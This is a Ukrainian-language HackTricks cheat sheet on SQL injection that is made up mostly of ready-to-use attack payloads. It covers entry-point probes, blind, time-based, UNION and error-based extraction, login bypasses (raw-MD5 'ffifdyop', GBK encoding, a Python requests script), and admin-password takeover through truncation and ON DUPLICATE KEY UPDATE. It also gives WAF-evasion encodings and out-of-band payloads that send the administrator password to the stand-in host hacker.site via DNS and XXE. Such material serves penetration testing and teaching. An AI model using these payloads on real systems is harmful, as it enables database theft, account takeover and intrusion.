SQL Injection

Reading time: 18 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Що таке SQL-ін'єкція?

SQL-ін'єкція — це вразливість безпеки, яка дозволяє зловмисникам втручатися в запити до бази даних додатку. Ця вразливість може дозволити зловмисникам переглядати, модифікувати або видаляти дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або змісті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.

Виявлення точок входу

Коли сайт виглядає вразливим до SQL-ін'єкції (SQLi) через незвичайні відповіді сервера на введення, пов'язані з SQLi, першим кроком є розуміння того, як впроваджувати дані в запит, не порушуючи його. Це вимагає визначення методу, щоб ефективно вийти з поточного контексту. Ось кілька корисних прикладів:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Тоді вам потрібно знати, як виправити запит, щоб не було помилок. Щоб виправити запит, ви можете ввести дані, щоб попередній запит прийняв нові дані, або ви можете просто ввести свої дані і додати символ коментаря в кінці.

Зверніть увагу, що якщо ви можете бачити повідомлення про помилки або помітити відмінності, коли запит працює, а коли ні, цей етап буде легшим.

Коментарі

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Підтвердження за допомогою логічних операцій

Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні логічної операції та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як ?username=Peter, який дає однаковий вміст при зміні на ?username=Peter' or '1'='1, вказує на вразливість до SQL-ін'єкцій.

Аналогічно, застосування математичних операцій є ефективною технікою підтвердження. Наприклад, якщо доступ до ?id=1 та ?id=2-1 дає той самий результат, це вказує на SQL-ін'єкцію.

Приклади, що демонструють підтвердження логічної операції:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Цей список слів був створений, щоб спробувати підтвердити SQL-ін'єкції запропонованим способом:

Підтвердження за допомогою часу

В деяких випадках ви не помітите жодних змін на сторінці, яку ви тестуєте. Тому хороший спосіб виявити сліпі SQL-ін'єкції - це змусити БД виконувати дії, які матимуть вплив на час, необхідний для завантаження сторінки.
Отже, ми будемо конкатенувати в SQL-запит операцію, яка займе багато часу для виконання:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

В деяких випадках функції затримки не будуть дозволені. Тоді, замість використання цих функцій, ви можете зробити запит, щоб виконати складні операції, які займатимуть кілька секунд. Приклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є).

Визначення бекенду

Найкращий спосіб визначити бекенд - це спробувати виконати функції різних бекендів. Ви можете використовувати sleep функції з попереднього розділу або ці (таблиця з payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Також, якщо у вас є доступ до виходу запиту, ви можете вивести версію бази даних.

note

У продовженні ми будемо обговорювати різні методи експлуатації різних видів SQL Injection. Ми будемо використовувати MySQL як приклад.

Визначення з PortSwigger

SQL injection cheat sheet | Web Security Academy

Експлуатація на основі Union

Визначення кількості стовпців

Якщо ви можете бачити вихід запиту, це найкращий спосіб його експлуатації.
По-перше, нам потрібно дізнатися кількість стовпців, які початковий запит повертає. Це тому, що обидва запити повинні повертати однакову кількість стовпців.
Зазвичай для цієї мети використовуються два методи:

Order/Group by

Щоб визначити кількість стовпців у запиті, поступово коригуйте число, використане в ORDER BY або GROUP BY клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функції GROUP BY та ORDER BY в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Виберіть все більше і більше значень null, поки запит не буде правильним:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Ви повинні використовувати null значення, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, і null є дійсним у кожному випадку.

Витягти імена баз даних, імена таблиць та імена стовпців

У наступних прикладах ми будемо отримувати назву всіх баз даних, назву таблиці бази даних, імена стовпців таблиці:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Існує різний спосіб виявлення цих даних у кожній різній базі даних, але методологія завжди однакова.

Використання прихованого об'єднання

Коли вихід запиту видимий, але об'єднаний ін'єкцію здається неможливим, це вказує на наявність прихованої об'єднаної ін'єкції. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію в об'єднану, потрібно визначити запит виконання на бекенді.

Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільової DBMS.

Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається об'єднаний запит, що полегшує використання нової доступної об'єднаної ін'єкції.

Для більш детальної інформації зверніться до повної статті, доступної за посиланням Healing Blind Injections.

Використання на основі помилок

Якщо з якоїсь причини ви не можете бачити вихід запиту, але можете бачити повідомлення про помилки, ви можете використовувати ці повідомлення про помилки для екстракції даних з бази даних.
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете змогти скинути базу даних.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Використання сліпого SQLi

У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете відрізнити, коли запит повертає істинне або хибне значення, оскільки на сторінці є різний вміст.
У цьому випадку ви можете зловживати цією поведінкою, щоб вивантажити базу даних символ за символом:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Використання помилок Blind SQLi

Це така ж ситуація, як і раніше, але замість того, щоб розрізняти істинну/хибну відповідь на запит, ви можете розрізняти наявність помилки в SQL запиті чи ні (можливо, через те, що HTTP сервер зривається). Тому в цьому випадку ви можете викликати SQL помилку щоразу, коли правильно вгадуєте символ:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Використання Time Based SQLi

У цьому випадку немає жодного способу відрізнити відповідь запиту на основі контексту сторінки. Але ви можете змусити сторінку завантажуватися довше, якщо вгаданий символ правильний. Ми вже бачили цю техніку раніше для підтвердження вразливості SQLi.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Ви можете використовувати stacked queries для виконання кількох запитів підряд. Зверніть увагу, що хоча наступні запити виконуються, результати не повертаються в додаток. Отже, ця техніка в основному корисна у зв'язку з сліпими вразливостями, де ви можете використовувати другий запит для виклику DNS-запиту, умовної помилки або затримки часу.

Oracle не підтримує stacked queries. MySQL, Microsoft та PostgreSQL їх підтримують: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Якщо жоден інший метод експлуатації не спрацював, ви можете спробувати змусити базу даних ексфільтрувати інформацію на зовнішній хост, контрольований вами. Наприклад, через DNS-запити:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Витік даних поза каналом через XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Автоматизоване використання

Перевірте SQLMap Cheatsheet для експлуатації вразливості SQLi за допомогою sqlmap.

Технічна специфічна інформація

Ми вже обговорили всі способи експлуатації вразливості SQL Injection. Знайдіть ще кілька трюків, залежних від технології бази даних, у цій книзі:

Або ви знайдете багато трюків щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite та HQL у https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Обхід аутентифікації

Список для спроби обійти функціональність входу:

Login bypass List

Обхід аутентифікації за допомогою сирого хешу

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Цей запит демонструє вразливість, коли MD5 використовується з true для сирого виходу в перевірках автентифікації, що робить систему вразливою до SQL-ін'єкцій. Зловмисники можуть скористатися цим, створюючи введення, які, коли їх хешують, виробляють несподівані частини SQL-команд, що призводить до несанкціонованого доступу.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Обхід аутентифікації за допомогою ін'єкції хешу

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Рекомендований список:

Ви повинні використовувати як ім'я користувача кожен рядок списку, а як пароль завжди: Pass1234.
(Ці пейлоади також включені у великий список, згаданий на початку цього розділу)

GBK обходи автентифікації

Якщо ' ескейпиться, ви можете використовувати %A8%27, а коли ' буде ескейплено, буде створено: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Скрипт Python:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Поліглотна ін'єкція (мультиконтекст)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

Щоб це зробити, ви повинні спробувати створити новий об'єкт з назвою "master object" (можливо, admin у випадку користувачів), модифікуючи щось:

  • Створити користувача з ім'ям: AdMIn (великі та малі літери)
  • Створити користувача з ім'ям: admin=
  • SQL Truncation Attack (коли є якийсь обмеження по довжині в імені користувача або електронній пошті) --> Створити користувача з ім'ям: admin [багато пробілів] a

SQL Truncation Attack

Якщо база даних вразлива, а максимальна кількість символів для імені користувача, наприклад, 30, і ви хочете видати себе за користувача admin, спробуйте створити ім'я користувача: "admin [30 пробілів] a" і будь-який пароль.

База даних перевірить, чи введене ім'я користувача існує в базі даних. Якщо ні, вона обрізає ім'я користувача до максимально допустимої кількості символів (в цьому випадку до: "admin [25 пробілів]") і потім автоматично видалить всі пробіли в кінці, оновлюючи в базі даних користувача "admin" з новим паролем (може з'явитися деяка помилка, але це не означає, що це не спрацювало).

Більше інформації: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Примітка: Ця атака більше не буде працювати, як описано вище, в останніх установках MySQL. Хоча порівняння все ще ігнорують пробіли в кінці за замовчуванням, спроба вставити рядок, який довший за довжину поля, призведе до помилки, і вставка не вдасться. Для отримання додаткової інформації про цю перевірку: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Додайте стільки ','','', скільки вважаєте за потрібне, щоб вийти з оператору VALUES. Якщо затримка виконується, у вас є SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Клаузула ON DUPLICATE KEY UPDATE в MySQL використовується для визначення дій, які база даних повинна виконати, коли робиться спроба вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:

Example Payload Injection:

Вантаж для ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю users. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ось як це працює:

  • Запит намагається вставити два рядки: один для generic_user@example.com і інший для admin_generic@example.com.
  • Якщо рядок для admin_generic@example.com вже існує, спрацьовує клаузула ON DUPLICATE KEY UPDATE, яка інструктує MySQL оновити поле password існуючого рядка на "bcrypt_hash_of_newpassword".
  • Відповідно, аутентифікацію можна спробувати виконати, використовуючи admin_generic@example.com з паролем, що відповідає bcrypt хешу ("bcrypt_hash_of_newpassword" представляє bcrypt хеш нового пароля, який слід замінити на фактичний хеш бажаного пароля).

Витяг інформації

Створення 2 облікових записів одночасно

При спробі створити нового користувача потрібні ім'я користувача, пароль та електронна пошта:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Використання десяткових або шістнадцяткових

За допомогою цієї техніки ви можете витягувати інформацію, створюючи лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.

Використовуючи hex2dec та substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Щоб отримати текст, ви можете використовувати:

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Використовуючи hex та replacesubstr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection - це ситуація, коли ін'єкційний запит не є тим, який дає вихід, але вихід ін'єкційного запиту йде до запиту, який дає вихід. (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - обхід за допомогою альтернатив пробілів

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

Без пробілів - обхід за допомогою коментарів

sql
?id=1/*comment*/and/**/1=1/**/--

Без пробілів - обхід за допомогою дужок

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - обхід за допомогою OFFSET, FROM та JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Загальні обхідні методи

Чорний список за допомогою ключових слів - обхід за допомогою великих/малих літер

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Чорний список за допомогою ключових слів без урахування регістру - обхід за допомогою еквівалентного оператора

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Обхід WAF за допомогою наукової нотації

You can find a more in depth explaination of this trick in gosecure blog.
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Обхід обмеження назв стовпців

По-перше, зверніть увагу, що якщо оригінальний запит і таблиця, з якої ви хочете витягти прапор, мають однакову кількість стовпців, ви можете просто зробити: 0 UNION SELECT * FROM flag

Можливо отримати доступ до третього стовпця таблиці без використання його назви за допомогою запиту, подібного до наступного: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, тому в sqlinjection це виглядатиме так:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Або використовуючи comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Цей трюк був взятий з https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Інструменти для обходу WAF

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Інші посібники

Список виявлення брутфорсу

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks